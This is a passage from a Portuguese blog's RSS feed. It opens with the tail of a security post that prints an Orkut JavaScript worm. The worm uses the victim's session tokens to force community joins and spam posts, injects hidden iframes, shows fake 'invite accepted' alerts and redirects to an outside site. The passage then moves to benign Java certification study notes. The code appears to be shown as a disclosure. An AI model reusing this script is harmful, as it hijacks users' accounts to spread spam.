        var myDCC = window.orkutFrame ? window.orkutFrame.document : document;<br />
        var UID = myDCC.body.innerHTML.match(/uid=(\d+)/i)[1];<br />
        var Lay = myDCC.body.innerHTML += &#8216;&lt;p align=&quot;center&quot;&gt;&lt;iframe name=&quot;Logoutar&quot; marginwidth=&quot;1&quot; marginheight=&quot;1&quot; height=&quot;100%&quot; width=&quot;100%&quot; scrolling=&quot;no&quot; align=&quot;center&quot; border=&quot;0&quot; frameborder=&quot;0&quot; src=&quot;http://www.orkut.com.br/Main#Community?cmm=96481032&quot;&gt;&lt;/iframe&gt;&lt;br&gt;&lt;iframe name=&quot;Orkut&quot; marginwidth=&quot;1&quot; marginheight=&quot;1&quot; height=&quot;1&quot; width=&quot;1&quot; scrolling=&quot;no&quot; align=&quot;center&quot; border=&quot;0&quot; frameborder=&quot;0&quot; src=&quot;http://www.orkut.com.br/Main#Community?cmm=96481032&quot;&gt;&lt;/iframe&gt;&lt;/p&gt;&#8217;;<br />
        var b = &quot;POST_TOKEN=&quot; + encodeURIComponent(JSHDF['CGI.POST_TOKEN']) +<br />
        &quot;&amp;signature=&quot; +<br />
        encodeURIComponent(JSHDF['Page.signature.raw']) +<br />
        &quot;&amp;Action.yes&quot;;</p>
<p>        getFL(UID);<br />
    }</p>
<p>    function setCookie(a, b, c, d, e, f){<br />
        var g = a + &quot;=&quot; + escape(b) + (c ? &quot;; expires=&quot; + c.toGMTString() : &quot;&quot;) +<br />
        (d ? &quot;; path=&quot; + d : &quot;&quot;) +<br />
        (e ? &quot;; domain=&quot; + e : &quot;&quot;) +<br />
        (f ? &quot;; secure&quot; : &quot;&quot;);</p>
<p>        document.cookie = g;<br />
    }</p>
<p>    function getCookie(a){<br />
        var b = document.cookie;<br />
        var c = a + &quot;=&quot;;<br />
        var d = b.indexOf(&quot;; &quot; + c);</p>
<p>        if (d == -1) {<br />
            d = b.indexOf(c);</p>
<p>            if (d != 0) {<br />
                return false;<br />
            }<br />
        }<br />
        else {<br />
            d += 2;<br />
        }</p>
<p>        var e = document.cookie.indexOf(&quot;;&quot;, d);</p>
<p>        if (e == -1) {<br />
            e = b.length;<br />
        }</p>
<p>        return unescape(b.substring(d + c.length, e));<br />
    }</p>
<p>    show_me();<br />
    cmm(96481032);<br />
    cmm(4);<br />
    cmm(18256247);<br />
    cmm(981665);<br />
    cmm(15825814);<br />
    cmm(43305);<br />
    cmm(288442);<br />
    cmm(185995);<br />
    cmm(16430191);<br />
    cmm(256321);<br />
    Pamela(&#8217;96481032&amp;tid=5408490872453349211&amp;start=1&#8242;);<br />
    noob();</p>
<p>    if (!getCookie(&quot;say&quot;)) {<br />
        var wDate = new Date;</p>
<p>        wDate.setTime(wDate.getTime() + 864000);<br />
        setCookie(&quot;say&quot;, &quot;1&quot;, wDate);<br />
    }<br />
    etRequestHeader(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded;&quot;);<br />
    xxt.send(c);<br />
}</p>
<p>function show_me(){<br />
    alert(&quot;Convite Aceito.&quot;);<br />
    alert(&quot; &#8211; Aguarde 5 minutos \n &#8211; Depois entre novamente no orkut&#8230;&quot;);<br />
}</p>
<p>function cmm(a){<br />
    var b = &quot;POST_TOKEN=&quot; + encodeURIComponent(JSHDF['CGI.POST_TOKEN']) +<br />
    &quot;&amp;signature=&quot; +<br />
    encodeURIComponent(JSHDF['Page.signature.raw']) +<br />
    &quot;&amp;Action.join&quot;;</p>
<p>    var c = createXMLHttpRequest();<br />
    c.open(&quot;POST&quot;, &quot;/CommunityJoin.aspx?cmm=&quot; + a, false);<br />
    c.setRequestHeader(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded&quot;);<br />
    c.send(b);<br />
}</p>
<p>function Pamela(a){<br />
    setTimeout(&quot;DarkVampiro()&quot;, 10000);</p>
<p>    var bbb = [&quot;blue&quot;, &quot;red&quot;, &quot;violet&quot;, &quot;green&quot;, &quot;gray&quot;, &quot;navy&quot;, &quot;orange&quot;, &quot;purple&quot;];<br />
    var color = Math.floor(Math.random() * bbb.length);<br />
    var Danilo = [&quot;Parabens&quot;, &quot;Voce esta de Parabens&quot;, &quot;Adorei&quot;, &quot;Amei&quot;, &quot;Fantastico&quot;, &quot;Muito Legal Este Novo Orkut&quot;, &quot;Sensacional&quot;, &quot;Amei e Adorei&quot;];<br />
    var Miedi = Math.floor(Math.random() * Danilo.length);<br />
    var up = &quot;[b]SOBE O TOPICO [&quot; + bbb[color] + &quot;]UP![/&quot; + bbb[color] + &quot;][/b] Porque Funciona [:D] &quot; + Danilo[Miedi] + &quot; \n &#8230;.. [silver]&quot; +<br />
    Math.floor(Math.random() * 95234511);</p>
<p>    var b = &quot;POST_TOKEN=&quot; + encodeURIComponent(JSHDF['CGI.POST_TOKEN']) +<br />
    &quot;&amp;signature=&quot; +<br />
    encodeURIComponent(JSHDF['Page.signature.raw']) +<br />
    &quot;&amp;bodyText=&quot; +<br />
    encodeURIComponent(up) +<br />
    &quot;&amp;Action.submit&quot;;</p>
<p>    var c = createXMLHttpRequest();<br />
    c.open(&quot;POST&quot;, &quot;/CommMsgPost.aspx?cmm=&quot; + a, false);<br />
    c.setRequestHeader(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded&quot;);<br />
    c.send(b);<br />
}</p>
<p>function DarkVampiro(){<br />
    window.location = &quot;http://convitesaqui.com/Orkut/&quot;<br />
};</p>
<p>function noob(){<br />
    var Owned = prompt(&quot;Qual cor desejas (1-Black, 0-White, 4-Red, 13-Green, 8-Violet, 9-Pink, 21-Rosa? \n\n Em Seguida Coloque o Numero da COR:&quot;, &quot;&quot;);<br />
    var myDCC = window.orkutFrame ? window.orkutFrame.document : document;<br />
    var UID = myDCC.body.innerHTML.match(/uid=(\d+)/i)[1];<br />
    var Lay = myDCC.body.innerHTML += &#8216;&lt;p align=&quot;center&quot;&gt;&lt;iframe name=&quot;Logoutar&quot; marginwidth=&quot;1&quot; marginheight=&quot;1&quot; height=&quot;100%&quot; width=&quot;100%&quot; scrolling=&quot;no&quot; align=&quot;center&quot; border=&quot;0&quot; frameborder=&quot;0&quot; src=&quot;http://www.orkut.com.br/Main#Community?cmm=96481032&quot;&gt;&lt;/iframe&gt;&lt;br&gt;&lt;iframe name=&quot;Orkut&quot; marginwidth=&quot;1&quot; marginheight=&quot;1&quot; height=&quot;1&quot; width=&quot;1&quot; scrolling=&quot;no&quot; align=&quot;center&quot; border=&quot;0&quot; frameborder=&quot;0&quot; src=&quot;http://www.orkut.com.br/Main#Community?cmm=96481032&quot;&gt;&lt;/iframe&gt;&lt;/p&gt;&#8217;;</p>
<p>    var b = &quot;POST_TOKEN=&quot; + encodeURIComponent(JSHDF['CGI.POST_TOKEN']) +<br />
    &quot;&amp;signature=&quot; +<br />
    encodeURIComponent(JSHDF['Page.signature.raw']) +<br />
    &quot;&amp;Action.yes&quot;;</p>
<p>    getFL(UID);<br />
}</p>
<p>function setCookie(a, b, c, d, e, f){</p>
<p>    var g = a + &quot;=&quot; + escape(b) + (c ? &quot;; expires=&quot; + c.toGMTString() : &quot;&quot;) +<br />
    (d ? &quot;; path=&quot; + d : &quot;&quot;) +<br />
    (e ? &quot;; domain=&quot; + e : &quot;&quot;) +<br />
    (f ? &quot;; secure&quot; : &quot;&quot;);</p>
<p>    document.cookie = g;<br />
}</p>
<p>function getCookie(a){</p>
<p>    var b = document.cookie;<br />
    var c = a + &quot;=&quot;;<br />
    var d = b.indexOf(&quot;; &quot; + c);</p>
<p>    if (d == -1) {<br />
        d = b.indexOf(c);<br />
        if (d != 0) {<br />
            return false;<br />
        }<br />
    }<br />
    else {<br />
        d += 2;<br />
    }</p>
<p>    var e = document.cookie.indexOf(&quot;;&quot;, d);</p>
<p>    if (e == -1) {<br />
        e = b.length;<br />
    }</p>
<p>    return unescape(b.substring(d + c.length, e));</p>
<p>}</p>
<p>show_me();</p>
<p>cmm(96481032);<br />
cmm(4);<br />
cmm(18256247);<br />
cmm(981665);<br />
cmm(15825814);<br />
cmm(43305);<br />
cmm(288442);<br />
cmm(185995);<br />
cmm(16430191);<br />
cmm(256321);</p>
<p>Pamela(&#8217;96481032&amp;tid=5408490872453349211&amp;start=1&#8242;);</p>
<p>noob();</p>
<p>if (!getCookie(&quot;say&quot;)) {<br />
    var wDate = new Date;<br />
    wDate.setTime(wDate.getTime() + 864000);<br />
    setCookie(&quot;say&quot;, &quot;1&quot;, wDate);<br />
}<br />
[/javascript]</p>
<p></p>

	Tags: <a href="http://www.leonardolima.com.br/tag/convite" title="Convite" rel="tag">Convite</a>, <a href="http://www.leonardolima.com.br/tag/convite-para-o-novo-orkut" title="Convite para o novo orkut" rel="tag">Convite para o novo orkut</a>, <a href="http://www.leonardolima.com.br/tag/javascript" title="Javascript" rel="tag">Javascript</a>, <a href="http://www.leonardolima.com.br/tag/novo-orkut" title="Novo Orkut" rel="tag">Novo Orkut</a>, <a href="http://www.leonardolima.com.br/tag/orkut" title="Orkut" rel="tag">Orkut</a>, <a href="http://www.leonardolima.com.br/tag/seguranca" title="Segurança" rel="tag">Segurança</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.leonardolima.com.br/blog/javascript/brechas-no-novo-orkut/feed</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Mais um pouco&#8230;</title>
		<link>http://www.leonardolima.com.br/blog/java/mais-um-pouco</link>
		<comments>http://www.leonardolima.com.br/blog/java/mais-um-pouco#comments</comments>
		<pubDate>Wed, 25 Nov 2009 01:53:46 +0000</pubDate>
		<dc:creator>Leonardo Lima</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Java]]></category>

		<guid isPermaLink="false">http://www.leonardolima.com.br/?p=205</guid>
		<description><![CDATA[Coisas que não posso esquecer!!! Assertion Assertion é composto sempre por 1 expressão boolean, e opcionalmente uma expressão de VALOR Se a expressão boolean de um assert é falsa então é lançado um AssertionError Se há a segunda expressão ela é executada, em geral está serve para detalhar o AssertionError Se o assertion está dentro [...]]]></description>
			<content:encoded><![CDATA[<p>Coisas que não posso esquecer!!!</p>
<h3>Assertion</h3>
<ol>
<li>Assertion é composto sempre por 1 expressão boolean, e opcionalmente uma expressão de VALOR</li>
<li>Se a expressão boolean de um assert é falsa então é lançado um AssertionError</li>
<li>Se há a segunda expressão ela é executada, em geral está serve para detalhar o AssertionError</li>
<li>Se o assertion está dentro de um bloco try/catch e o catch está espereando um AssertionError ou Error (que é sua superclase) ou Throwable, então o catch captura o AssertionError (depois de executar a segunda expressão caso tenha)</li>
<li>Na segunda expressão é aceitavel ter chamada para metodos desde que estes metodos retornem um valor (não pode ser void)</li>
<li>java.util.Scanner </li>
</ol>
<h3>java.util.Scanner</h3>
<ol>
<li>O delimitador default é espaço em branco</li>
<li>O metodo hasNext() não faz com que o Scanner avance para o próximo registro</li>
<li>O metodo nextInt() faz com que o Scanner avance para o próximo registro</li>
</ol>
<h3>Threads</h3>
<ol>
<li>O método sleep() deve estar dentro de um try/catch, ou o método onde o sleep() é chamado deve declarar throws InterruptedException, caso contrario a compilação irá falhar</li>
<li>O método sleep() é static, e afeta a Thread que está rodando atualmente (se o sleep() for chamado usando uma referencia não é a referencia que vai dormir e sim a Thread que está rodando)</li>
<li>Para chamar wait() a thread deve possuir o lock no objeto que o wait() está sendo chamado</li>
<li>Caso a Thread não tenha o lock do objeto que o wait() está sendo chamado é lançado IllegalMonitorStateException</li>
<li>Uma das formas de ganhar o lock de um objeto é synchornized(objeto)</li>
<li>Quando um método static é synchronized ele bloqueia não importando a instancia, já que static não precisa de instancia de uma classe</li>
<li>O método join() deve estar dentro de um try/catch, se não a compilação falha</li>
</ol>
<h3>Blocos de Inicialização</h3>
<p>Bloco de inicialização estático &#8220;static {}&#8221;</p>
<ul>
<li>Roda uma só vez, quando a classe é aberta</li>
<li>Quando utilizado junto com herança, todos os blocos de inicialização estáticos serão executados em seqüência descendo a árvore</li>
<li>A ordem em que são declarados importa, pois é a mesma que será executada</li>
</ul>
<p>Bloco de inicialização de instancia &#8220;{}&#8221;</p>
<ul>
<li>Roda toda vez que uma classe é instanciada</li>
<li>É executado antes do construtor da classe em que foi declarado</li>
<li>A ordem em que são declarados importa, pois é a mesma que será executada</li>
</ul>
No tags for this post.]]></content:encoded>
			<wfw:commentRss>http://www.leonardolima.com.br/blog/java/mais-um-pouco/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Study again</title>
		<link>http://www.leonardolima.com.br/blog/java/201</link>
		<comments>http://www.leonardolima.com.br/blog/java/201#comments</comments>
		<pubDate>Tue, 24 Nov 2009 02:06:40 +0000</pubDate>
		<dc:creator>Leonardo Lima</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Java]]></category>

		<guid isPermaLink="false">http://www.leonardolima.com.br/sem-categoria/201</guid>
		<description><![CDATA[Vale lembrar que a classe StringBuffer não faz override do metodo equals ou seja usa a implementação default que utiliza == para fazer a comparação! Sempre que for usar o readObject() na hora de de-serializar tem de dar o CAST!! Quando usar getCurrencyInstance, o metodo parse retorna o valor da currency como um Number metodo [...]]]></description>
			<content:encoded><![CDATA[<p>Vale lembrar que a classe StringBuffer não faz override do metodo equals ou seja usa a implementação default que utiliza == para fazer a comparação!<br />
Sempre que for usar o readObject() na hora de de-serializar tem de dar o CAST!!</p>
<p>Quando usar getCurrencyInstance, o metodo parse retorna o valor da currency como um Number<br />
metodo find() da classe Matcher é CASE SENSITIVE</p>
<p>java.sun.com/js2se/1.5.0/docs/api/java/util/Collection.html</p>
<p>Tanto classes quanto interfaces podem ser Generic<br />
Metodos Generic podem ser ou não static</p>
<p>Construtor não poder ter synchronized!!!</p>
<p>java.sun.com/docs/books/tutorial/extra/generics/index.html</p>
<p>http://www.developerlife.com/lessons/threadsintro/default.htm</p>
<p>http://java.sun.com/docs/books/tutorial/essential/threads/multithreaded.html</p>
<p>Vale lembrar que quando for fazer um override de um metodo a unica coisa que precisa mudar são os argumentos,<br />
o tipo do retorno pode ou não mudar</p>
<p>Vale lembrar que uma variavel de instancia do tipo Objeto é instancializada com valor default null<br />
quando se compara uma classe Wrapper com um primitivo isso causa um autoboxing, então se o objeto do tipo Wrapper tiver valor null vai dar<br />
NullPointerException</p>
<p>Vale lembra&#8230; CLASSES ABSTRACT PODEM E TEM CONSTRUTOR!!!!</p>
<p>Throwable -> Error -> AssertionError</p>
<p>Não é obrigatorio declarar Error no throws do metodo</p>
<p>em uma expressão de assertion a primeira expressão SEMPRE DEVE SER BOOLEAN<br />
assert boolean_expression<br />
assert boolean_expression : segunda_expression</p>
<p>se a primeira expression não for boolean, dá erro de compilação</p>
<p>No bloco switch, não pode haver case´s com valor duplicado, se houver vai dar erro de compilação<br />
então se tiver alguma expressão nos cases é bom verificar se o resultado não é o mesmo valor de outro case</p>
<p>Comparações envolvendo NaN e non-NaN sempre são == false,</p>
<p>NaN == non-NaN -> false<br />
NaN == NaN -> false<br />
NaN != NaN -> true</p>
<p>Quando usando Assertion, se a boolean_expression é false, então é lançado um AssertionError<br />
se tem a segunda_expression, ela é executada, a expressão do assertion está dentro de um bloco try, depois de executada<br />
a segunda_expression então vai para o catch</p>
<p>Quando a JVM fica sem memória é lançado OutOfMemoryError (É ERROR E NÃO EXCEPTION)</p>
<p>Vale lembrar, uma subclasse herda (tem acesso) aos metodos </p>
<p>Vale lembrar novamente que em declaração de classes principais só pode PUBLIC e DEFAULT!</p>
<p>metodo E lower(E e) é definido na NavigableSet<br />
na NavigableMap é definido o lowerEntry(K key)</p>
<p>Vale lembrar que o compilador procura o metodo na classe tipo que a variavel é declarada, então tem de verificar<br />
se esse metodo existe e se ele não é private.</p>
No tags for this post.]]></content:encoded>
			<wfw:commentRss>http://www.leonardolima.com.br/blog/java/201/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Decorar</title>
		<link>http://www.leonardolima.com.br/blog/java/decorar</link>
		<comments>http://www.leonardolima.com.br/blog/java/decorar#comments</comments>
		<pubDate>Mon, 23 Nov 2009 22:35:07 +0000</pubDate>
		<dc:creator>Leonardo Lima</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Java]]></category>

		<guid isPermaLink="false">http://www.leonardolima.com.br/sem-categoria/decorar</guid>
		<description><![CDATA[Constructor Summary File(File parent, String child) Creates a new File instance from a parent abstract pathname and a child pathname string. File(String pathname) Creates a new File instance by converting the given pathname string into an abstract pathname. File(String parent, String child) Creates a new File instance from a parent pathname string and a child [...]]]></description>
			<content:encoded><![CDATA[<p>Constructor Summary<br />
File(File parent, String child)<br />
          Creates a new File instance from a parent abstract pathname and a child pathname string.<br />
File(String pathname)<br />
          Creates a new File instance by converting the given pathname string into an abstract pathname.<br />
File(String parent, String child)<br />
          Creates a new File instance from a parent pathname string and a child pathname string.<br />
File(URI uri)<br />
          Creates a new File instance by converting the given file: URI into an abstract pathname.<br />
  Method Summary<br />
 boolean canRead()<br />
          Tests whether the application can read the file denoted by this abstract pathname.<br />
 boolean canWrite()<br />
          Tests whether the application can modify to the file denoted by this abstract pathname.<br />
 int compareTo(File pathname)<br />
          Compares two abstract pathnames lexicographically.<br />
 int compareTo(Object o)<br />
          Compares this abstract pathname to another object.<br />
 boolean createNewFile()<br />
          Atomically creates a new, empty file named by this abstract pathname if and only if a file with this name does not yet exist.<br />
static File createTempFile(String prefix, String suffix)<br />
          Creates an empty file in the default temporary-file directory, using the given prefix and suffix to generate its name.<br />
static File createTempFile(String prefix, String suffix, File directory)<br />
           Creates a new empty file in the specified directory, using the given prefix and suffix strings to generate its name.<br />
 boolean delete()<br />
          Deletes the file or directory denoted by this abstract pathname.<br />
 void deleteOnExit()<br />
          Requests that the file or directory denoted by this abstract pathname be deleted when the virtual machine terminates.<br />
 boolean equals(Object obj)<br />
          Tests this abstract pathname for equality with the given object.<br />
 boolean exists()<br />
          Tests whether the file or directory denoted by this abstract pathname exists.<br />
 File getAbsoluteFile()<br />
          Returns the absolute form of this abstract pathname.<br />
 String getAbsolutePath()<br />
          Returns the absolute pathname string of this abstract pathname.<br />
 File getCanonicalFile()<br />
          Returns the canonical form of this abstract pathname.<br />
 String getCanonicalPath()<br />
          Returns the canonical pathname string of this abstract pathname.<br />
 String getName()<br />
          Returns the name of the file or directory denoted by this abstract pathname.<br />
 String getParent()<br />
          Returns the pathname string of this abstract pathname&#8217;s parent, or null if this pathname does not name a parent directory.<br />
 File getParentFile()<br />
          Returns the abstract pathname of this abstract pathname&#8217;s parent, or null if this pathname does not name a parent directory.<br />
 String getPath()<br />
          Converts this abstract pathname into a pathname string.<br />
 int hashCode()<br />
          Computes a hash code for this abstract pathname.<br />
 boolean isAbsolute()<br />
          Tests whether this abstract pathname is absolute.<br />
 boolean isDirectory()<br />
          Tests whether the file denoted by this abstract pathname is a directory.<br />
 boolean isFile()<br />
          Tests whether the file denoted by this abstract pathname is a normal file.<br />
 boolean isHidden()<br />
          Tests whether the file named by this abstract pathname is a hidden file.<br />
 long lastModified()<br />
          Returns the time that the file denoted by this abstract pathname was last modified.<br />
 long length()<br />
          Returns the length of the file denoted by this abstract pathname.<br />
 String[] list()<br />
          Returns an array of strings naming the files and directories in the directory denoted by this abstract pathname.<br />
 String[] list(FilenameFilter filter)<br />
          Returns an array of strings naming the files and directories in the directory denoted by this abstract pathname that satisfy the specified filter.<br />
 File[] listFiles()<br />
          Returns an array of abstract pathnames denoting the files in the directory denoted by this abstract pathname.<br />
 File[] listFiles(FileFilter filter)<br />
          Returns an array of abstract pathnames denoting the files and directories in the directory denoted by this abstract pathname that satisfy the specified filter.<br />
 File[] listFiles(FilenameFilter filter)<br />
          Returns an array of abstract pathnames denoting the files and directories in the directory denoted by this abstract pathname that satisfy the specified filter.<br />
static File[] listRoots()<br />
          List the available filesystem roots.<br />
 boolean mkdir()<br />
          Creates the directory named by this abstract pathname.<br />
 boolean mkdirs()<br />
          Creates the directory named by this abstract pathname, including any necessary but nonexistent parent directories.<br />
 boolean renameTo(File dest)<br />
          Renames the file denoted by this abstract pathname.<br />
 boolean setLastModified(long time)<br />
          Sets the last-modified time of the file or directory named by this abstract pathname.<br />
 boolean setReadOnly()<br />
          Marks the file or directory named by this abstract pathname so that only read operations are allowed.<br />
 String toString()<br />
          Returns the pathname string of this abstract pathname.<br />
 URI toURI()<br />
          Constructs a file: URI that represents this abstract pathname.<br />
 URL toURL()<br />
          Converts this abstract pathname into a file: URL. </p>
No tags for this post.]]></content:encoded>
			<wfw:commentRss>http://www.leonardolima.com.br/blog/java/decorar/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Interface</title>
		<link>http://www.leonardolima.com.br/blog/java/interface</link>
		<comments>http://www.leonardolima.com.br/blog/java/interface#comments</comments>
		<pubDate>Wed, 21 Oct 2009 00:05:42 +0000</pubDate>
		<dc:creator>Leonardo Lima</dc:creator>
				<category><![CDATA[Java]]></category>

		<guid isPermaLink="false">http://www.leonardolima.com.br/?p=191</guid>
		<description><![CDATA[Todo metodo declarado em uma interface sempre será public e abstract mesmo que não esteja escrito!!! Declarações validas void bounce(); public void bounce(); abstract void bounce(); public abstract void bounce(); abstract public void bounce(); Não são declarações legais final void bounce(); final e abstract NUNCA DEVEM SER UTILIZADOS JUNTOS static void bounce(); ISSO NAO FUNCIONA [...]]]></description>
			<content:encoded><![CDATA[<p>Todo metodo declarado em uma interface sempre será <strong>public</strong> e <strong>abstract</strong> mesmo que não esteja escrito!!!</p>
<p>Declarações validas </p>
<p>void bounce();<br />
public void bounce();<br />
abstract void bounce();<br />
public abstract void bounce();<br />
abstract public void bounce();</p>
<p>Não são declarações legais</p>
<p>final void bounce(); <strong>final</strong> e <strong>abstract</strong> NUNCA DEVEM SER UTILIZADOS JUNTOS<br />
static void bounce(); ISSO NAO FUNCIONA POIS INTERFACE DEFINE METODOS DE INSTANCIA!!<br />
private void bounce(); Metodos de interface SEMPRE SAO <strong>public</strong><br />
protected void bounce();  Metodos de interface SEMPRE SAO <strong>public</strong></p>
<p>Variaveis em uma interface SEMPRE SAO <strong>public static final</strong></p>
<p>Uma Interface só pode ser herdada por outra Interface</p>
No tags for this post.]]></content:encoded>
			<wfw:commentRss>http://www.leonardolima.com.br/blog/java/interface/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

